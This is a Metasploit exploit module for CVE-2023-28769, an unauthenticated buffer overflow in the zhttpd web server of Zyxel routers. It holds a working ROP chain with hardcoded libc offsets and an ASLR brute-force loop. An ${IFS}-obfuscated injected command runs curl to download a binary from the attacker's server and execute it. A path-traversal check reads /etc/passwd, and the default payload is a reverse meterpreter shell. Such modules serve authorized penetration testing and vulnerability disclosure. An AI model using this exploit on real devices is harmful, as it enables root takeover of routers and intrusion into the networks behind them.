##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zyxel Unauthenticated LAN Remote Code Execution',
        'Description' => %q{
          This module exploits a buffer overflow in the zhttpd binary (/bin/zhttpd). It is present on more than 40 Zyxel routers and CPE devices.
          The code execution vulnerability can only be exploited by an attacker if the zhttp webserver is reachable.
          No authentication is required. After exploitation, an attacker will be able to execute any command
          as root, including downloading and executing a binary from another host.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Steffen Robertz <s.robertz[at]sec-consult.com>',
          'Gerhard Hechenberger <g.hechenberger[at]sec-consult.com>',
          'Thomas Weber <t.weber[at]sec-consult.com>',
          'Stefan Viehboeck <v.viehboeck[at]sec-consult.com>',
          'SEC Consult Vulnerability Lab'
        ],
        'References' => [
          [ 'CVE', '2023-28769' ],
          [ 'URL', 'https://r.sec-consult.com/zyxsploit'],
        ],
        'Privileged' => true,
        'Platform' => 'linux',
        'Arch' => ARCH_ARMLE,
        'Payload' => {},
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
          'WfsDelay' => 15
        },
        'Targets' => [
          [ 'Zyxel Device', {} ]
        ],
        'DisclosureDate' => '2022-02-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80)
      ]
    )

    register_advanced_options(
      [
        OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 7200])
      ]
    )
  end

  def check
    res = send_request_raw({
      'uri' => '/Export_Log?/etc/passwd',
      'method' => 'GET',
      'rport' => datastore['RPORT']
    })

    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Vulnerable('Zyxel device exposed /etc/passwd via Export_Log path traversal') if res.to_s['root:x:0:0:']

    return CheckCode::Safe('Zyxel device did not expose /etc/passwd via Export_Log path traversal')
  end

  # Handle incoming requests from the router
  def on_request_uri(cli, _request)
    if !@payload_sent
      print_good("#{peer} - Sending executable to the router")
      print_good("#{peer} - A shell should connect soon!")
      send_response(cli, @payload_exe)
      @payload_sent = true
    end
  end

  def build_buffer_overflow_url(download_cmd)
    libc_addr = 0xb6a38000

    system_offset = 0x000376c8
    system_addr = libc_addr + system_offset

    mov_offset = 0x000f4ccc
    mov_addr = libc_addr + mov_offset

    r3_offset = 0x0010bdac
    r3_addr = libc_addr + r3_offset

    sp_inc_offset = 0x000f70ec
    sp_inc_addr = libc_addr + sp_inc_offset

    overflow_url = rand_text_alpha_lower(268)
    overflow_url += [r3_addr].pack('I')
    overflow_url += rand_text_alpha_lower(12)
    overflow_url += [sp_inc_addr].pack('I')
    overflow_url += [mov_addr].pack('I')
    overflow_url += rand_text_alpha_lower(4)
    overflow_url += [system_addr].pack('I')
    overflow_url += rand_text_alpha_lower(24)
    overflow_url += download_cmd
    return overflow_url
  end

  def send_exploit(exploit_url)
    send_request_raw({
      'uri' => "/Export_Log?#{exploit_url}",
      'method' => 'GET',
      'rport' => datastore['RPORT']
    })
    Rex.sleep(6)
  end

  def exploit
    print_status("Attempting to exploit #{target.name}")

    @cmd_file = rand_text_alpha_lower(1)
    payload_file = rand_text_alpha_lower(1)

    # generate our payload executable
    @payload_exe = generate_payload_exe

    # Command that will download @payload_exe and execute it
    download_cmd = 'curl${IFS}'
    if datastore['SSL']
      # https:// can't be a substring as the zyxel parser won't be able to understand the URI
      download_cmd += '-k${IFS}https:`echo${IFS}//`'
    end
    http_service = Rex::Socket.to_authority(srvhost_addr, srvport).to_s
    download_cmd += "#{http_service}/#{payload_file}${IFS}-o${IFS}/tmp/#{payload_file};chmod${IFS}+x${IFS}/tmp/#{payload_file};/tmp/#{payload_file};"

    print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...")
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => "/#{payload_file}"
      }
    })

    print_status('Going to bruteforce ASLR, this might take a while...')

    count = 1
    exploit_url = build_buffer_overflow_url(download_cmd)
    timeout = 0
    until @payload_sent
      print_status("Trying to overflow the buffer, attempt #{count}")
      send_exploit(exploit_url)
      count += 1
      timeout += 6

      if timeout == datastore['MAX_WAIT'].to_i
        fail_with(Failure::Unknown, "#{peer} - Timeout reached! You were either very unlucky or the device is not vulnerable anymore!")
      end
    end
  end
end
